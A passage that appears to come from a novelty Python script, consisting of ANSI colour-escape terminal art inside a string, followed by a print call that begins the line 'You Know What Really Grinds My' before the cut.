[0;5;35;44m@[0;5;35;40m:[0;5;34;44m8[0;5;35;40mS[0;1;30;40m8[0;1;35;47mS[0;5;37;47m8[0;5;1;33;41m8[0;5;37;47m88[0;1;33;47mS[0;1;31;47mX[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;37;41m8[0;5;37;47m88[0;5;1;37;43m8[0;5;1;37;45m@[0;5;1;37;43m8[0;5;37;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;35;40mX[0;1;30;40m88[0;5;31;40mX[0;33;47m8[0;5;37;43m@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m8@[0;1;30;43m8[0;5;37;43m8[0;33;47m8[0;5;35;40m;[0;5;33;40mt[0;1;33;43mS[0;33;47m8[0;1;30;43m8[0;5;33;40m:[0;5;33;41m%[0;5;33;40m [0;5;33;41mt[0;1;33;47mX[0;5;37;43m8@8[0;1;30;43m8[0;37;43m8[0;5;37;43mXX@[0;5;33;43m [0;5;37;41m8[0;5;37;43mX[0;1;33;47m8[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;5;37;41m8[0m +[0;5;34;40m8[0;1;30;45m8[0;1;30;46m8[0;5;34;44m@[0;5;35;40mS[0;1;30;44m8[0;1;30;45m8[0;34;46m8[0;1;30;45m88[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;1;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;5;36;40mS[0;34;45m8[0;5;36;40mX[0;1;30;44m@[0;30;41m8[0;33;47m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;37;47m8[0;5;37;43m8[0;5;1;35;41m8[0;1;37;47m [0;5;37;47m8[0;5;37;41m8[0;1;33;47mS[0;5;37;41m8[0;1;37;47m [0;5;37;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;37;43m8[0;1;30;45m8[0;1;30;41m8[0;1;30;40m@[0;5;30;40m@[0;5;31;40mX[0;1;30;41m8[0;5;31;40m8[0;1;30;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8X8@888@X[0;5;33;43m [0;5;37;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m@[0;5;1;31;43m@[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m8[0;1;31;47m8[0;5;37;43m%[0;5;1;31;43m8[0;5;37;43m888[0;5;1;31;43m8[0;1;33;47m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;33;40m:[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m88[0;5;34;44m8[0;5;35;40m:[0;5;34;44mX[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;1;30;44m8[0;5;30;40m888[0;5;35;40m.[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;33;47m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;37;43m@[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;1;33;47m8[0;1;35;47mS[0;5;31;40m@[0;5;30;40m8[0;1;30;40m8[0;5;30;40mX88[0;5;34;40mS[0;1;30;41m88[0;5;31;40m8[0;5;35;40m:[0;1;31;45m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40mt[0;1;30;45m8[0;5;35;40mSSX[0;5;31;40mS8[0;1;30;45m@[0;35;41m8[0;5;35;40m8[0;35;41m8[0;5;35;40m8[0;1;30;41m8[0;5;35;40m8[0;5;31;40m8[0;1;30;45m8[0;5;31;40mX[0;5;35;40m8@8@88[0;5;31;40m8[0;5;35;40m%88[0;35;41m8[0;1;30;45m88[0;5;35;40m8[0;1;30;45mX888[0;5;35;40m@[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;45m8[0;5;36;40m%[0;5;34;44mX[0;5;35;40mt[0;1;30;45m8[0;5;34;44m@[0;5;35;40m.[0;1;30;45m8[0;5;34;44mX[0;5;36;40m;[0;5;34;40m@[0;1;30;44m8[0;5;34;40m@[0;1;30;40m8[0;5;30;40m88[0;1;30;47m8[0;1;37;47m [0;1;31;47mX[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;37;47m8[0;5;1;35;41m8[0;5;37;43m8[0;1;35;47mX[0;1;37;47m%[0;5;37;47m8[0;5;31;40m8[0;5;30;40m888X@@888[0;5;35;40m8[0;5;34;40m@[0;5;35;40m8[0;1;30;45m888[0;5;35;40m@[0;1;30;45m888[0;35;44m8[0;5;35;40mS[0;1;30;44m8[0;5;35;40mX[0;1;30;44m8[0;5;35;40m@[0;35;44m8[0;5;35;40mS[0;35;44m8[0;5;35;40m@[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;35;40mX[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;35;44m8[0;5;35;40m@[0;1;30;45m8[0;5;34;40m8[0;5;35;40m8[0;1;30;44m8[0;5;35;40m8[0;35;44m8[0;5;35;40mX[0;1;30;45m8[0;1;30;44m8[0;1;30;45m8[0;5;35;40m8[0;1;30;44m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;36;40mX[0;5;34;44m@[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m@[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44mX[0;5;36;40m;[0;5;35;40mX[0;1;30;44m@[0;5;34;40m8[0;5;30;40m@@[0;1;30;40m8[0;5;30;40m@8[0;5;35;40m%[0;5;37;47m%8[0;1;31;47mS[0;1;37;47m [0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;45m8[0;5;37;43m8[0;5;37;45m8[0;1;37;47m:[0;5;37;47mXX [0;1;37;47m [0;1;30;41mX[0;5;30;40m@@88@@@8[0;5;34;40m@[0;1;30;40m88[0;5;30;40m8[0;5;34;40m8[0;1;30;44m88[0;36;44m8[0;34;45m8[0;34;46m8[0;35;44m8[0;34;46m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m%[0;1;34;44m8[0;5;36;40m:[0;1;34;44m8[0;5;35;40mS[0;35;44m8[0;1;30;46m8[0;34;45m8[0;36;44m8[0;34;45m8[0;1;30;44m8[0;35;44m8[0;1;30;46m8[0;34;45m8[0;1;30;46m8[0;1;34;44m8[0;5;35;40mX[0;1;34;44m8[0;5;35;40mt[0;1;34;44m8[0;5;35;40m%[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m88[0;5;34;44m8[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;35;40mS[0;5;34;44mX[0;5;36;40m:[0;1;30;45m8[0;36;44mX[0;1;30;44m8[0;5;30;40mX8@X[0;1;30;40m8[0;5;30;40m8[0;5;31;40m@[0;1;30;40m8[0;1;37;47mt[0;5;37;47m.:8[0;5;37;41m8[0;1;33;47mS[0;5;37;47m88[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;47m8[0;5;1;33;47m8[0;5;37;45m8[0;5;37;43m8[0;1;35;47m8[0;1;33;47mX[0;5;37;47m8S .[0;1;30;47m8[0;30;41mX[0;5;32;40mX[0;5;30;40m@8[0;1;30;40m8[0;5;30;40m@@@@@@XX[0;1;30;40m8[0;5;30;40m@[0;5;34;40m88[0;1;30;45m8[0;5;34;44m@[0;5;35;40mt[0;5;35;44m8[0;5;35;40mt[0;5;34;44m@[0;5;35;40m.[0;1;34;45m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m:[0;1;34;45m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m;[0;35;44m8[0;5;36;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m%[0;5;35;44m8[0;5;35;40m%[0;5;35;44m8[0;5;36;40m;[0;5;35;44mX[0;5;35;40m:[0;5;34;44mS[0;1;30;45m8[0;1;34;45m8[0;5;35;40mt[0;1;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;1;34;44m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m%[0;5;34;44m8[0;5;35;40m:[0;35;44m@[0;1;30;44m8[0;5;34;40mX[0;5;30;40m@@X@@88@8[0;5;33;40m [0;5;37;47m8t..[0;1;30;47m8[0;5;31;41m%S[0;5;33;41mX[0;1;31;45m8[0;1;33;47m8[0;1;37;47m [0;5;37;47m8888t:%@[0;1;37;47m;[0;5;33;40m%[0;1;30;41m@[0;5;30;40mX8@88@@@@@@@@X@@[0;5;34;40m88[0;5;35;40mS[0;1;34;44m8[0;5;35;40m.[0;34;45m8[0;5;36;40m:[0;5;34;44m@[0;5;35;40m.[0;35;44m8[0;5;36;40m%[0;5;34;44m8[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44mX[0;5;35;40m;[0;5;35;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m;[0;1;34;44m8[0;5;35;40m:[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m:[0;1;34;44m8[0;5;36;40m:[0;35;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m.[0;34;45m8[0;5;36;40m;[0m +[0;5;34;40m8[0;5;35;40mX[0;1;30;44m8[0;5;35;44m8[0;5;36;40m%[0;34;45m8[0;5;36;44m8[0;5;35;40m%[0;1;30;45m8[0;36;44m8[0;5;35;40m@[0;5;34;40m8[0;5;36;40m8[0;1;30;40m8[0;5;30;40mX@@X88X8[0;1;30;40m8[0;5;31;40m@S[0;5;37;47m88[0;1;37;47mSt:[0;1;30;41m@SSX[0;1;37;47m [0;5;37;47m8XXX8888[0;1;37;47m [0;1;30;41m8[0;5;31;40m@[0;5;30;40m@88888@[0;5;34;40m@[0;5;30;40m@X@@@@@@88[0;5;34;40m88[0;5;35;40mS[0;5;34;44m@[0;5;36;40m.[0;5;35;44m@[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;1;34;45m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40mt[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0m +[0;5;34;40m8[0;35;44m8[0;5;36;40m;[0;5;35;44m8[0;5;36;40mt[0;1;34;45m8[0;5;35;40m;[0;36;44m@[0;1;30;44m8[0;5;35;40m8[0;5;30;40m888@@XX8[0;1;30;40m8[0;5;30;40mX8[0;1;30;40m8[0;5;30;40m8[0;34;40mS[0;1;30;40m8[0;5;37;40m@[0;5;37;47m:%%;[0;1;30;41m8[0;30;41mX@[0;1;37;47mt[0;5;37;47m;88888:;[0;5;35;40m;[0;1;30;41mS[0;5;36;40m@[0;1;30;40mX@[0;5;30;40m888[0;5;34;40m@[0;5;30;40m@8[0;1;30;40m8[0;5;30;40mX@@@@X@@@@@8[0;1;30;44m8[0;1;30;45m8[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;5;36;40m%[0;5;34;44m@[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;1;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m;[0;34;45m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0m +[0;5;34;40m8[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;1;30;44m8[0;5;34;40mX@S[0;5;30;40m8888@@@@@88@88888@[0;1;37;47mS[0;5;37;47m S[0;5;33;40m;[0;35;41m.[0;30;41mtS[0;1;30;47m%[0;5;37;47m.%X%;.[0;1;37;47m:[0;5;35;40mS[0;5;31;40m8[0;1;30;40m8[0;5;30;40m8@8888@@8[0;1;30;40m8[0;5;30;40mX@@@@@X@X@8@[0;1;30;44m8[0;5;34;40mS[0;1;30;45m8[0;5;34;44mX[0;5;36;40m%[0;1;34;45m8[0;5;35;40m%[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m:[0;5;35;44m8[0;5;36;40m:[0;1;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40m;[0;35;44m8[0m +[0;1;30;44m8[0;5;35;40mS[0;1;30;45m8[0;5;35;40m.[0;1;30;47mt[0;1;37;47m%; [0;1;30;47mX[0;5;33;40m:[0;5;30;40m8@X@@X@X88@@88X8[0;5;31;40m@[0;1;37;47m%[0;5;31;40m@[0;1;31;41m;[0;30;41m;[0;1;30;41m;[0;30;41m;[0;1;30;41m8[0;5;37;47m;..:[0;1;37;47m.[0;5;35;40mt[0;1;30;41m8[0;5;30;40mX8@@88[0;1;30;40m8[0;5;30;40m8@@@8[0;1;30;40m8[0;5;30;40m@@@@@@@@@X@X8[0;1;30;44m8[0;5;34;40mS[0;34;45m8[0;1;30;44m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;35;44m8[0;5;35;40m.[0;1;34;45m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;1;34;45m8[0;5;36;40mS[0;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0m +[0;5;34;40m8[0;1;30;44m8[0;1;37;47m%[0;5;37;47mX[0;1;37;47m. [0;5;37;47m8[0;1;37;47m t[0;5;37;40mS[0;1;30;40m8[0;5;30;40mS@X@@@[0;1;30;40m8[0;5;30;40m8[0;5;34;40m@[0;5;30;40m8@[0;1;30;40m88[0;5;30;40mX8[0;31;40m8[0;1;30;41mX[0;30;41m:;;t@[0;1;37;47m%[0;5;37;47m %[0;5;35;40m.[0;1;30;41m@[0;5;30;40mX@@@8[0;1;30;40m8[0;5;30;40m8@[0;5;34;40m@[0;5;30;40m@@@@X[0;1;30;40m8[0;5;30;40m8X8@@@@@@@8@[0;5;34;40m@[0;1;30;40m8[0;1;30;44m8[0;1;34;45m8[0;1;30;46m8[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;5;35;40m;[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m@[0;5;36;40m%[0;5;34;44m@[0;5;35;40m:[0;35;44m8[0;1;30;46m8[0;34;45mX[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m.[0;35;44m8[0m +[0;5;37;40mX[0;1;37;47m;; [0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;1;30;47m8[0;5;31;40m8[0;5;30;40m88@@88@@8XX8[0;1;30;40m8[0;5;30;40mXX[0;30;41m8[0;1;30;41mS[0;30;41mt[0;35;41m:[0;1;30;41m%[0;30;41m@[0;1;30;47m@:[0;5;31;40mX[0;5;30;40m8@88888888[0;1;30;40m8[0;5;30;40m8888@8[0;1;30;40m8[0;5;34;40mX[0;5;30;40m8@@[0;5;34;40m@[0;5;30;40m@@@@@88[0;5;34;40mS8[0;5;35;40mX[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40mt[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m;[0;5;35;44m@[0;5;36;40mt[0;5;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0m +[0;1;37;47m;[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m@[0;5;37;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;1;37;47m [0;1;30;47m8[0;1;30;40m8[0;5;34;40mS[0;5;30;40m888@@X@8@@X[0;1;30;40m8[0;5;30;40m88[0;1;30;40m8[0;30;41mS[0;1;30;41mS[0;30;41m@[0;5;31;40m8[0;1;30;40m8[0;5;30;40m88888@@8[0;1;30;40m8[0;5;30;40m88@@@@@@@@[0;1;30;40m8@8[0;5;30;40m888@@@@@[0;5;34;40m@[0;5;30;40m888[0;1;30;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m:[0;1;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;34;45m8[0;5;36;40m.[0;5;34;44m8[0m +[0;1;37;47m [0;1;33;47mX[0;5;1;35;47m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43mX[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m@[0;5;1;33;47m8[0;1;31;45m8[0;1;30;47m [0;1;30;40m@@[0;5;30;40m8@@@X@@@@@@@[0;5;34;40m@[0;1;30;40m@[0;5;30;40m8[0;31;40m8[0;1;30;40m@88[0;5;30;40m8X@8@@@@@X@@@@@X@X@8[0;1;30;40m@[0;5;30;40m88@88@@@@@8@@[0;1;30;40m8[0;5;34;40m8[0;1;30;45m8[0;5;36;40m%[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;1;30;45m8[0;5;35;44m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m:[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m.[0;5;35;44m8[0;5;35;40m:[0m +[0;1;30;47mt[0;1;31;47m@[0;5;1;33;47m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;37;41m8[0;5;37;47m8[0;5;37;43m8[0;5;37;45m8[0;5;35;40m 8[0;1;30;40mX[0;5;30;40mX@@@@@X@@@@@@[0;1;30;40m88[0;5;30;40mX8[0;1;30;40m8[0;5;30;40mX@@@@@@@@@@@@@XX@8[0;1;30;40m8[0;5;30;40m8[0;1;30;40m@[0;5;34;40m8[0;5;30;40m88@@@@@@@@@@@X@[0;1;30;44m8[0;35;44m8[0;1;30;45m8[0;1;30;46m8[0;34;45m8[0;5;36;40m;[0;1;34;45m8[0;5;36;40m:[0;36;44m8[0;1;30;45m8[0;5;35;44m8[0;5;36;40m%[0;34;45m8[0;5;35;40m;[0;5;35;44m@[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40m;[0;5;35;44m8[0;5;35;40mt[0;5;35;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m:[0;1;34;45m8[0;5;36;40mt[0;34;45m8[0m +[0;5;35;40m [0;1;30;45m8[0;35;47m@[0;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;5;1;31;43m8[0;1;35;47mX[0;1;37;47m [0;5;37;41m8[0;1;30;45m8[0;5;35;40m@[0;1;30;44mX[0;5;30;40m8@@@[0;5;34;40m@[0;5;30;40m@X@@@@@@@8[0;1;30;40m8[0;5;30;40m@88X@@@@@@@@@@@88[0;5;31;40mS[0;5;33;40m.[0;1;30;47m8@S[0;1;37;47m [0;1;30;47mS@[0;5;33;40mt[0;5;30;40m8@@@@@@@@X@@@8[0;1;30;44m8[0;5;34;40mX[0;5;34;44mS[0;1;30;45m8[0;5;34;44mX[0;5;35;40m;[0;5;34;44m8[0;1;30;45m8[0;5;35;44m@[0;5;36;40mt[0;34;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;35;44m8[0;5;36;40mt[0;35;44m8[0;5;36;40mS[0;5;34;44m8[0;5;35;40mt[0;35;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m%[0m +[0;1;30;44m@[0;1;30;45m8%[0;35;47m8[0;5;37;47m8[0;5;1;35;47m8[0;1;33;47mS[0;1;31;41mS[0;1;30;45m88[0;1;30;44m8[0;5;34;40mS88[0;5;30;40m@X@@88@@88888[0;1;30;40m8[0;5;30;40m@[0;1;30;40m88[0;5;30;40m88888@@@X@@S[0;1;30;40m8[0;5;33;40mt[0;1;37;47m [0;5;37;47m8[0;1;37;47m:[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;33;47m8[0;5;37;47m8[0;1;30;47mS[0;1;30;40m8[0;5;30;40mX@@@@@@[0;5;34;40m@[0;5;30;40m@8X[0;1;30;40m8[0;5;34;40m@[0;5;35;40m@[0;5;34;40m@X[0;5;35;40m%[0;1;30;44m8[0;5;35;40m:[0;5;34;40m@[0;5;36;40mS[0;35;44m8[0;5;36;40m%[0;5;35;40m@[0;1;30;44m8[0;5;35;40m%[0;35;44m8[0;34;46m8[0;1;30;45m8[0;5;36;40m%[0;34;45m8[0;1;30;46m8[0;1;30;45m8[0;1;34;46m8[0;1;30;45m8[0;5;35;40m:%[0;1;30;46m8[0;1;30;45m8[0;1;30;47m8[0;1;30;45m8[0;1;30;47m8[0;1;30;45m8[0m +[0;1;37;47m8[0;5;37;47m@[0;1;30;47m [0;33;47m8[0;5;1;37;43m8[0;1;35;47m%[0;1;33;47mS[0;5;37;47m@@XS8@8@@@@[0;1;37;47m8[0;5;37;47mX[0;1;37;47m8[0;5;37;47m@88[0;1;37;47m88[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m8[0;1;37;47m8[0;5;37;47m@@888888[0;1;30;47m.S[0;1;37;47m;[0;5;37;47m8[0;1;33;47mX[0;1;31;47mS[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;1;37;43m@[0;5;37;47m8[0;1;37;47m t;[0;5;31;40mX[0;5;30;40m8[0;5;34;40m@[0;5;30;40m@@@@@@8[0;5;31;40mS[0;1;30;47m.[0;5;37;47m@@8@@X88@@8@XSt%@Xt@S;XX@%@@%Xt[0m +[0;5;37;47mSSS[0;1;37;47mt;[0;5;37;47m888@XS%XXSSXSSSSSSS%XXSSSSSSSXXXSXX;[0;1;37;47mt[0;1;30;47m%[0;5;37;47m8[0;1;33;47m8[0;5;37;41m8[0;5;37;47m88[0;5;1;33;41m8[0;5;37;47m8[0;5;1;33;47m8[0;5;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m.[0;1;30;40m8[0;5;30;40m@@@@88[0;5;33;40m.[0;1;37;47m.[0;5;37;47mSXXSSXXSSSSSXSXXXXXXSXSSXXSSXXXSS[0m +[0;5;37;47mSSS8888@XX@XXSXSSSSSSSSSSSSXSSXSXSSXXSSSSX[0;1;33;47mX[0;1;31;47m8[0;35;47mX[0;5;37;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;1;31;47mXX[0;5;37;47m8[0;5;1;37;43m8[0;5;1;31;45m8[0;5;1;37;43m8[0;5;1;35;47m8[0;1;37;47m [0;5;37;47m88[0;5;31;40m8[0;5;30;40m8@[0;1;30;40m88[0;5;33;40m [0;1;37;47m@[0;5;37;47m:XXXXSSSSSSSSSSSSSSSSXSSXSSSSSSXSXS[0m +[0;5;37;47mSSSSX@XXXSXSSXSXSXSXSSSSSSXSSSSSSXSXXSSSX8S[0;1;37;47m.[0;1;33;47mX[0;5;37;47m8[0;1;35;47mS[0;5;37;43m8[0;1;37;47m [0;5;37;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;33;47mXS[0;1;31;47mS[0;5;37;41m8[0;5;33;40m%[0;1;30;40m8[0;5;33;40m:[0;5;37;40m@[0;1;37;47m [0;5;37;47m8%SXXSSSXXSXSSSSSSSSXSSSSXSSSSSSSSSXSX[0m +[0;5;37;47mXSXSXSXSSXSXSSXSXSXSXS%SSSSXSSSSSSXSSXSXSSS888[0;1;33;47mS[0;1;35;47m@[0;1;33;47mS[0;5;1;31;43m8[0;1;37;47m [0;5;37;47m888SS8@SSXSSSSXSSSSSXSXSXSXSXSXXXSXSXXXXSSSSSXSS[0m +[0;5;37;47mXSSXSSSXSSXSXSSXSSSXSSSSSSXSS%SSXSSXSXSXSSX@88888:%888XSX8SSSSSSXSSSSSSSSSSSSSXXXXSSXSXSSXSXXXXXSSXX[0m +[0;5;37;47mXSXSXSXSXSSSXSXSSXSSXS%SSSSXSSSSSXSSXSSXSXSX@@@@@X@@@@X@XXSXSSSSSXSSSSSSXSSSSSSSSSXSSXSXSSXSXSXXXXSS[0m +[0;5;37;47mXSSSSXSSXSXSSXSSXSXSSSSSSSXSSSSSSSXSSXSSXSSSSSXX@@X@XX@XXSXSSXSXSSXSSSSSXSSSS%SSXSSXSSXSXSSSSXSSSSXS[0m +[0;5;37;47mXSXSXSXSSXSXSSXSSXSXSS%SSSSXSSSXSXSXSSXSSXSSSSSSXXXSXXXSSXSSXSXSSSSSSSSSSXSSSSSSXSXSXSSXSXSXSXSXSXSX[0m +[0;5;37;47mSSSSSSSSSSSSSSSSSSSSSSS%SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSXSXSSSSSSSSSXSSSSSSSSSSSSSSXSSSSSSSSSSSSXSSSSS[0m +[0;5;37;47mSSSSSSXSSXSSXSSXSSXSSSSSS[0;1;37;47m8[0;5;37;47mtXXS[0;1;37;47m8[0;5;37;47mtSSXSSXSXSSSSSSSSSSXSSXSXSSSXSSSXSSSXSXSXXXSSSSSSSSSSXSSSXSSSSSSSSSSS[0m +[0;5;37;47mtt;ttttttttttttttttttttt;;%ttt:t%tttttttt%tt;ttt%tttttttt%tttttttt%tt%ttt%ttttt%tt%ttt%tttt%t%t%tt%t[0m +[0;1;30;47m . [0;1;37;47m [0;1;30;47m [0m +""") + + +print("\n\n\n\nYou Know What Really Grinds My 